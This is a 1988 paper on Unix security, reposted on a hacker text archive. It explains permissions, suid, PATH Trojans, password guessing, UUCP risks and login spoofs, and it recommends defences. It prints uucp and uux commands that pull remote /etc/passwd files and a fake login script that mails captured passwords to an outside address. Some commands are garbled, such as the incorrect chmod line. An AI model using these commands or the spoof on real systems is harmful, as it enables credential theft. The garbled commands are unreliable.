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TUCoPS :: Unix :: General :: unixsec.txt

Unix System Security Issues

                  |     "Unix System Security Issues"    |
                  |              Typed by:               |
                  |               Whisky                 |
                  |         (from Holland, Europe)       |
                  |                 From                 |
                  |            Information Age           |
                  |     Vol. 11, Number 2, April 1988    |
                  |              Written By:             |
                  | Michael J. Knox and Edward D. Bowden |

Note:  This file was sent to me from a friend in Holland. I felt
       that it would be a good idea to present this file to the
       UNIX-hacker community, to show that hackers don't always
       harm systems, but sometimes look for ways to secure flaws
       in existing systems.  -- Jester Sluggo !!

There are a number of elements that have lead to the popularity of the
Unix operating system in the world today. The most notable factors are
its portability among hardware platforms and the interactive programming
environment that it offers to users. In fact, these elements have had
much to do with the succesful evolution of the Unix system in the
commercial market place. (1, 2)
  As the Unix system expands further into industry and government, the
need to handle Unix system security will no doubt become imperative. For
example, the US government is committing several millon dollars a year
for the Unix system and its supported hardware. (1) The security
requirements for the government are tremendous, and one can only guess
at the future needs of security in industry.
  In this paper, we will cover some of the more fundamental security
risks in the Unix system. Discussed are common causes of Unix system
compromise in such areas as file protecion, password security,
networking and hacker violations. In our conclusion, we will comment
upon ongoing effects in Unix system security, and their direct influence
on the portability of the Unix operating system.


In the Unix operating system environment, files and directories are
organized in a tree structure with specific access modes. The setting of
these modes, through permission bits (as octal digits), is the basis of
Unix system security. Permission bits determine how users can access
files and the type of access they are allowed. There are three user
access modes for all Unix system files and directories: the owner, the
group, and others. Access to read, write and execute within each of the
usertypes is also controlled by permission bits (Figure 1). Flexibility
in file security is convenient, but it has been criticized as an area of
system security compromise.

                        Permission modes
OWNER                        GROUP                    OTHERS
rwx            :             rwx            :         rwx
r=read  w=write  x=execute

-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
drwx------ 2 sam A1 2 May 01 12:01 directory

FIGURE 1.  File and directory modes: File shows Bob as the owner, with
read and write permission. Group has write permission, while Others has
read and execute permission. The directory gives a secure directory not
readable, writeable, or executable by Group and Others.

  Since the file protection mechanism is so important in the Unix
operating system, it stands to reason that the proper setting of
permission bits is required for overall security. Aside from user
ignorance, the most common area of file compromise has to do with the
default setting of permission bits at file creation. In some systems the
default is octal 644, meaning that only the file owner can write and
read to a file, while all others can only read it. (3) In many "open"
environments this may be acceptable. However, in cases where sensitive
data is present, the access for reading by others should be turned off.
The file utility umask does in fact satisfy this requirement. A
suggested setting, umask 027, would enable all permission for the file
owner, disable write permission to the group, and disable permissions
for all others (octal 750). By inserting this umask command in a user
.profile or .login file, the default will be overritten by the new
settings at file creation.
  The CHMOD utility can be used to modify permission settings on files
and directories. Issuing the following command,

chmod u+rwd,g+rw,g-w,u-rwx file

will provide the file with the same protection as the umask above
(octal 750). Permission bits can be relaxed with chmod at a later
time, but at least initially, the file structure can be made secure
using a restrictive umask.
  By responsible application of such utilities as umask and chmod, users
can enhance file system security. The Unix system, however, restricts
the security defined by the user to only owner, group and others. Thus,
the owner of the file cannot designate file access to specific users. As
Kowack and Healy have pointed out, "The granularity of control that
(file security) mechanisms is often insufficient in practice (...) it is
not possible to grant one user write protection to a directory while
granting another read permission to the same directory. (4) A useful
file security file security extension to the Unix system might be
Multics style access control lists.
  With access mode vulnerabilities in mind, users should pay close
attention to files and directories under their control, and correct
permissions whenever possible. Even with the design limitations in mode
granularity, following a safe approach will ensure a more secure Unix
system file structure.


The set user id (suid) and set group id (sgid) identify the user and
group ownership of a file. By setting the suid or sgid permission bits
of an executable file, other users can gain acces to the same resources
(via the executable file) as that of the real file's owner.

For Example:

Let Bob's program bob.x be an executable file accessible to others. When
Mary executes bob.x, Mary becomes the new program owner. If during
program execution bob.x requests access to file browse.txt, then Mary
must have previous read or write permission to browse.txt. This would
allow Mary and everyone else total access to the contents of browse.txt,
even when she is not running bob.x. By turning on the suid bit of bob.x,
Mary will have the same access permissions to browse.txt as does the
program's real owner, but she will only have access to browse.txt during
the execution of bob.x. Hence, by incorperating suid or sgid, unwelcome
browsers will be prevented form accessing files like browse.txt

  Although this feature appears to offer substantial access control to
Unix system files, it does have one critical drawback. There is always
the chance that the superuser (system administrator) may have a writable
file for others that is also set with suid. With some modification in
the file's code (by a hacker), an executable file like this would enable
a user to become a superuser. Within a short period of time this
violator could completely compromise system security and make it
inaccessible, even to other superusers. As Farrow (5) puts it, "(...)
having a set-user-id copy of the shell owned by root is better than
knowing the root password".
  To compensate for this security threat, writable suid files should be
sought out and eliminated by the system administrator. Reporting of such
files by normal users is also essential in correcting existing security


Directory protection is commonly overlooked component of file security
in the Unix system. Many system administrators and users are unaware of
the fact, that "publicly writable directories provide the most
opportunities for compromising the Unix system security" (6).
Administrators tend to make these "open" for users to move around and
access public files and utilities. This can be disastrous, since files
and other subdirectories within writable directories can be moved out
and replaced with different versions, even if contained files are
unreadable or unwritable to others. When this happens, an unscrupulous
user or a "password breaker" may supplant a Trojan horse of a commonly
used system utility (e.g. ls, su, mail and so on). For example, imagine

For example:

Imagine that the /bin directory is publicly writable. The perpetrator
could first remove the old su version (with rm utility) and then
include his own fake su to read the password of users who execute
this utility.

  Although writable directories can destroy system integrity, readable
ones can be just as damaging. Sometimes files and directories are
configured to permit read access by other. This subtle convenience can
lead to unauthorized disclosure of sensitive data: a serious matter when
valuable information is lost to a business competitor.
  As a general rule, therefore, read and write access should be removed
from all but system administrative directories. Execute permission will
allow access to needed files; however, users might explicitly name the
file they wish to use. This adds some protection to unreadable and
unwritable directories. So, programs like lp file.x in an unreadable
directory /ddr will print the contents of file.x, while ls/ddr would not
list the contents of that directory.


PATH is an environment variable that points to a list of directories,
which are searched when a file is requested by a process. The order of
that search is indicated by the sequence of the listed directories in
the PATH name. This variable is established at user logon and is set up
in the users .profile of .login file.
  If a user places the current directory as the first entry in PATH,
then programs in the current directory will be run first. Programs in
other directories with the same name will be ignored. Although file and
directory access is made easier with a PATH variable set up this way, it
may expose the user to pre-existing Trojan horses.
  To illustrate this, assume that a trojan horse, similar to the cat
utility, contains an instruction that imparts access privileges to a
perpetrator. The fake cat is placed in a public directory /usr/his
where a user often works. Now if the user has a PATH variable with the
current directory first, and he enters the cat command while in
/usr/his, the fake cat in /usr/his would be executed but not the system
cat located in /bin.
  In order to prevent this kind of system violation, the PATH variable
must be correctly set. First, if at all possible, exclude the current
directory as the first entry in the PATH variable and type the full path
name when invoking Unix system commands. This enhances file security,
but is more cumbersome to work with. Second, if the working directory
must be included in the PATH variable, then it should always be listed
last. In this way, utilities like vi, cat, su and ls will be executed
first from systems directories like /bin and /usr/bin before searching
the user's working directory.


User authentication in the Unix system is accomplished by personal
passwords. Though passwords offer an additional level of security
beyond physical constraints, they lend themselves to the greatest area
of computer system compromise. Lack of user awareness and responsibility
contributes largely to this form of computer insecurity. This is true of
many computer facilities where password identification, authentication
and authorization are required for the access of resources - and the
Unix operating system is no exception.
  Password information in many time-sharing systems are kept in
restricted files that are not ordinarily readable by users. The Unix
system differs in this respect, since it allows all users to have read
access to the /etc/passwd file (FIGURE 2) where encrypted passwords and
other user information are stored. Although the Unix system implements a
one-way encryption method, and in most systems a modified version of the
data encryption standard (DES), password breaking methods are known.
Among these methods, brute-force attacks are generally the least
effective, yet techniques involving the use of heuristics (good guesses
and knowledge about passwords) tend to be successful. For example, the
/etc/passwd file contains such useful information as the login name and
comments fields. Login names are especially rewarding to the "password
breaker" since many users will use login variants for passwords
(backward spelling, the appending of a single digit etc.). The comment
field often contains items such as surname, given name, address,
telephone number, project name and so on. To quote Morris and Grampp (7)
in their landmark paper on Unix system security:

  [in the case of logins]

  The authors made a survey of several dozen local machines, using as
  trial passwords a collection of the 20 most common female first names,
  each followed by a single digit. The total number of passwords tried was,
  therefore, 200. At least one of these 200 passwords turned out to be a
  valid password on every machine surveyed.

  [as for comment fields]

  (...) if an intruder knows something about the people using a machine,
  a whole new set of candidates is available. Family and friend's names,
  auto registration numbers, hobbies, and pets are particularly
  productive categories to try interactively in the unlikely event that
  a purely mechanical scan of the password file turns out to be

Thus, given a persistent system violator, there is a strong evidence,
that he will find some information about users in the /etc/passwd file.
With this in mind, it is obvious that a password file should be
unreadable to everyone except those in charge of system administration.


FIGURE 2.  The /etc/passwd file. Note the comments field as underlined

  Resolution of the /etc/passwd file's readability does not entirely
solve the basic problem with passwords. Educating users and
administrators is necessary to assure proper password utilization.
First, "good passwords are those that are at least six characters long,
aren't based on personal information, and have some nonalphabetic
(especially control) characters in them: 4score, my_name, luv2run" (8).
Secondly, passwords should be changed periodically but users should avoid
alternating between two passwords. Different passwords for different
machines and files will aid in protecting sensitive information.
Finally, passwords should never be available to unauthorized users.
Reduction of user ignorance about poor password choice will inevitably
make a system more secure.


UUCP system
The most common Unix system network is the UUCP system, which is a group
of programs that perform the file tranfers and command execution between
remote systems. (3) The problem with the UUCP system is that users on
the network may access other users' files without access permission. As
stated by Nowitz (9),

  The uucp system, left unrestricted, will let any outside user execute
  commands and copy in/out any file that is readable/writable by a uucp
  login user. It is up to the individual sites to be aware of this, and
  apply the protections that they feel free are necessary.

This emphasizes the importance of proper implementation by the system
  There are four UUCP system commands to consider when looking into
network security with the Unix system. The first is uucp, a command used
to copy files between two Unix systems. If uucp is not properly
implemented by the system administrator, any outside user can execute
remote commands and copy files from another login user. If the file name
on another system is known, one could use the uucp command to copy files
from that system to their system. For example:

  %uucp system2!/main/src/hisfile myfile

will copy hisfile from system2 in the directory /main/src to the file
myfile in the current local directory. If file transfer restrictions
exist on either system, hisfile would not be sent. If there are no
restrictions, any file could be copied from a remote user - including
the password file. The following would copy the remote system
/etc/passwd file to the local file thanks:

  %uucp system2!/etc/passwd thanks

System administrators can address the uucp matter by restricting uucp
file transfers to the directory /user/spool/uucppublic. (8) If one tries
to transfer a file anywhere else, a message will be returned saying
"remote access to path/file denied" and no file transfer will occur.
  The second UUCP system command to consider is the uux. Its function is
to execute commands on remote Unix computers. This is called remote
command execution and is most often used to send mail between systems
(mail executes the uux command internally).
  The ability to execute a command on another system introduces a
serious security problem if remote command execution is not limited. As
an example, a system should not allow users from another system to
perform the following:

  %uux "system1!cat</etc/passwd>/usr/spool/uucppublic"

which would cause system1 to send its /etc/passwd file to the system2
uucp public directory. The user of system2 would now have access to the
password file. Therefore, only a few commands should be allowed to
execute remotely. Often the only command allowed to run uux is rmail,
the restricted mail program.
  The third UUCP system function is the uucico (copy in / copy out)
program. It performs the true communication work. Uucp or uux does not
actually call up other systems; instead they are queued and the uucico
program initiates the remote processes. The uucico program uses the file
/usr/uucp/USERFILE to determine what files a remote system may send or
receive. Checks for legal files are the basis for security in USERFILE.
Thus the system administrator should carefully control this file.
  In addition, USERFILE controls security between two Unix systems by
allowing a call-back flag to be set. Therefore, some degree of security
can be achieved by requiring a system to check if the remote system is
legal before a call-back occurs.
  The last UUCP function is the uuxqt. It controls the remote command
execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to
determine which commands will run in response to a remote execution
request. For example, if one wishes to use the electronic mail feature,
then the L.cmd file will contain the line rmail. Since uuxqt determines
what commands will be allowed to execute remotely, commands which may
compromise system security should not be included in L.cmd.


In addition to UUCP network commands, one should also be cautious of the
cu command (call the Unix system). Cu permits a remote user to call
another computer system. The problem with cu is that a user on a system
with a weak security can use cu to connect to a more secure system and
then install a Trojan horse on the stronger system. It is apparent that
cu should not be used to go from a weaker system to a stronger one, and
it is up to the system administrator to ensure that this never occurs.


With the increased number of computers operating under the Unix system,
some consideration must be given to local area networks (LANs). Because
LANs are designed to transmit files between computers quickly, security
has not been a priority with many LANs, but there are secure LANs under
development. It is the job of the system manager to investigate security
risks when employing LANs.


There are numerous methods used by hackers to gain entry into computer
systems. In the Unix system, Trojan horses, spoofs and suids are the
primary weapons used by trespassers.
  Trojan horses are pieces of code or shell scripts which usually assume
the role of a common utility but when activated by an unsuspecting user
performs some unexpected task for the trespasser. Among the many
different Trojan horses, it is the su masquerade that is the most
dangerous to the Unix system.
  Recall that the /etc/passwd file is readable to others, and also
contains information about all users - even root users. Consider what a
hacker could do if he were able to read this file and locate a root user
with a writable directory. He might easily plant a fake su that would
send the root password back to the hacker. A Trojan horse similar to
this can often be avoided when various security measures are followed,
that is, an etc/passwd file with limited read acces, controlling writable
directories, and the PATH variable properly set.
  A spoof is basically a hoax that causes an unsuspecting victim to
believe that a masquerading computer funtion is actually a real system
operation. A very popular spool in many computer systems is the
terminal-login trap. By displaying a phoney login format, a hacker is
able to capture the user's password.
  Imagine that a root user has temporarily deserted his terminal. A
hacker could quickly install a login process like the one described by
Morris and Grampp (7):

  echo -n "login:"
  read X
  stty -echo
  echo -n "password:"
  read Y
  echo ""
  stty echo
  echo %X%Y|mail outside|hacker&
  sleep 1
  echo Login incorrect
  stty 0>/dev/tty

We see that the password of the root user is mailed to the hacker who
has completely compromised the Unix system. The fake terminal-login acts
as if the user has incorrectly entered the password. It then transfers
control over to the stty process, thereby leaving no trace of its
  Prevention of spoofs, like most security hazards, must begin with user
education. But an immediate solution to security is sometimes needed
before education can be effected. As for terminal-login spoofs, there
are some keyboard-locking programs that protect the login session while
users are away from their terminals. (8, 10) These locked programs
ignore keyboard-generated interrupts and wait for the user to enter a
password to resume the terminal session.
  Since the suid mode has been previously examined in the password
section, we merely indicate some suid solutions here. First, suid
programs should be used is there are no other alternatives. Unrestrained
suids or sgids can lead to system compromise. Second, a "restricted
shell" should be given to a process that escapes from a suid process to
a child process. The reason for this is that a nonprivileged child
process might inherit privileged files from its parents. Finally, suid
files should be writable only by their owners, otherwise others may have
access to overwrite the file contents.
  It can be seen that by applying some basic security principles, a user
can avoid Trojan horses, spoofs and inappropriate suids. There are
several other techniques used by hackers to compromise system security,
but the use of good judgement and user education may go far in
preventing their occurence.


Throughout this paper we have discussed conventional approaches to Unix
system security by way of practical file management, password
protection, and networking. While it can be argued that user eduction is
paramount in maintaining Unix system security (11) factors in human
error will promote some degree of system insecurity. Advances in
protection mechanisms through better-written software (12), centralized
password control (13) and identification devices may result in enhanced
Unix system security.
  The question now asked applies to the future of Unix system operating.
Can existing Unix systems accommodate the security requirements of
government and industry? It appears not, at least for governmental
security projects. By following the Orange Book (14), a government
graded classification of secure computer systems, the Unix system is
only as secure as the C1 criterion. A C1 system, which has a low
security rating (D being the lowest) provides only discretionary
security protection (DSP) against browsers or non-programmer users.
Clearly this is insufficient as far as defense or proprietary security
is concerned. What is needed are fundamental changes to the Unix
security system. This has been recognized by at least three companies,
AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has made
vital changes to the kernel and file system in order to produce a C2
rated Unix operating system. To achieve this, however, they have had to
sacrifice some of the portability of the Unix system. It is hoped that
in the near future a Unix system with an A1 classification will be
realized, though not at the expense of losing its valued portability.


1  Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
   pp 50-63
2  Waite, M et al. "Unix system V primer" USA (1984)
3  Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128
4  Kowack, G and Healy, D "Can the holes be plugged?" Computerworld
   Vol 18 (26 September 1984) pp 27-28
5  Farrow, R "Security issues and strategies for users" Unix/World
   (April 1986) pp 65-71
6  Farrow, R "Security for superusers, or how to break the Unix system"
   Unix/World (May 1986) pp 65-70
7  Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
   Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672
8  Wood, P H and Kochan, S G "Unix system security" USA (1985)
9  Nowitz, D A "UUCP Implementation description: Unix programmer's manual
   Sec. 2" AT&T Bell Laboratories, USA (1984)
10 Thomas, R "Securing your terminal: two approaches" Unix/World
   (April 1986) pp 73-76
11 Karpinski, D "Security round table (Part 1)" Unix Review
   (October 1984) p 48
12 Karpinski, D "Security round table (Part 2)" Unix Review
   (October 1984) p 48
13 Lobel, J "Foiling the system breakers: computer security and access
   control" McGraw-Hill, USA (1986)
14 National Computer Security Center "Department of Defense trusted
   computer system evaluation criteria" CSC-STD-001-83, USA (1983)
15 Stewart, F "Implementing security under Unix" Systems&Software
   (February 1986)
16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the
   Lock TCB" Proceedings of USENIX (1988)
17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
   Government System Division, USA (August 1987)

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